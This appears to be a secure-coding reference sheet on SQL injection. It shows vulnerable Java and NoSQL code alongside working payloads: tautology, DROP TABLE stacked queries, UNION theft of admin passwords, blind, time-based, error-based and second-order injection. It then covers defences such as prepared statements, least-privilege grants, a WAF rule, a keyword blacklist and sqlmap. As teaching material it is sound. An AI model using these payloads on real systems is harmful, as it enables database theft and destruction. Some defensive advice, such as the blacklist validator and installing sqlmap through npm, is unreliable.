WEB-SQL-01 - SQL Injection

<!-- VULNERABLE: String concatenation -->
String query = "SELECT * FROM users WHERE username = '" + username + "'";
// Input: admin' OR '1'='1
// Result: SELECT * FROM users WHERE username = 'admin' OR '1'='1'

<!-- VULNERABLE: Dynamic queries -->
String query = "SELECT * FROM products WHERE category = " + categoryId;
// Input: 1; DROP TABLE users; --
// Result: SELECT * FROM products WHERE category = 1; DROP TABLE users; --

<!-- Original query -->
SELECT name, email FROM users WHERE id = 1
<!-- Injected query -->
SELECT name, email FROM users WHERE id = 1 UNION SELECT username, password FROM admin_users
<!-- Result: Data from both tables -->

<!-- Testing for vulnerability -->
SELECT * FROM users WHERE id = 1 AND 1=1  -- Returns data
SELECT * FROM users WHERE id = 1 AND 1=2  -- Returns no data
<!-- Extracting data character by character -->
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING(password,1,1)) > 65
SELECT * FROM users WHERE id = 1 AND ASCII(SUBSTRING(password,1,1)) > 66

<!-- Testing for vulnerability -->
SELECT * FROM users WHERE id = 1; WAITFOR DELAY '00:00:05'  -- 5 second delay
<!-- Extracting data with timing -->
SELECT * FROM users WHERE id = 1 AND IF(ASCII(SUBSTRING(password,1,1)) > 65, SLEEP(5), 0)
<!-- If condition is true, response is delayed -->

<!-- Triggering database errors -->
SELECT * FROM users WHERE id = 1 AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
<!-- Error reveals database version -->
Duplicate entry '5.7.29-0ubuntu0.18.04.1' for key 'group_key'

<!-- Step 1: Store malicious input -->
INSERT INTO comments (text) VALUES ('admin''--');
<!-- Step 2: Later query uses stored data -->
SELECT * FROM users WHERE username = 'admin'--' AND password = 'password'
<!-- Result: Bypasses password check -->

<!-- VULNERABLE: Direct object injection -->
db.users.find({username: req.body.username, password: req.body.password})
<!-- Malicious input -->
{"username": {"$ne": null}, "password": {"$ne": null}}
<!-- Result: Matches any user with non-null username/password -->

<!-- SECURE: Parameterized queries -->
String query = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();

<!-- SECURE: Input validation -->
public boolean isValidInput(String input) {
  if (input == null || input.trim().isEmpty()) {
    return false;
  }
  // Check for SQL injection patterns
  String[] dangerousPatterns = {"'", "\"", ";", "--", "/*", "*/", "xp_", "sp_"};
  for (String pattern : dangerousPatterns) {
    if (input.toLowerCase().contains(pattern)) {
      return false;
    }
  }
  return true;
}

<!-- SECURE: Limited database user permissions -->
-- Create application-specific user
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
-- Grant only necessary permissions
GRANT SELECT, INSERT, UPDATE ON webapp_db.users TO 'webapp'@'localhost';
GRANT SELECT ON webapp_db.products TO 'webapp'@'localhost';
-- No DROP, CREATE, or ALTER permissions

<!-- SECURE: Using ORM safely -->
// Good: Parameterized query
User user = session.createQuery("FROM User WHERE username = :username")
  .setParameter("username", username)
  .uniqueResult();
// Bad: String concatenation
String hql = "FROM User WHERE username = '" + username + "'";
User user = session.createQuery(hql).uniqueResult();

<!-- SECURE: WAF rules for SQL injection -->
# ModSecurity rules
SecRule ARGS "@detectSQLi" \
  "id:1001,phase:2,block,msg:'SQL Injection Attack Detected',\
  logdata:'Matched Data: %{MATCHED_VAR} found within %{MATCHED_VAR_NAME}',\
  tag:'application-multi',tag:'language-multi',tag:'platform-multi',\
  tag:'attack-sqli',severity:'CRITICAL'"

<!-- SECURE: Database query monitoring -->
// Log all database queries
logger.info("Database Query", {
  query: query,
  parameters: parameters,
  executionTime: executionTime,
  userId: userId,
  ip: request.ip,
  timestamp: new Date()
});

<!-- Security testing tools -->
npm install --save-dev eslint-plugin-security
npm install --save-dev sqlmap
// Run security audit
npm audit
sqlmap -u "http://example.com/login" --batch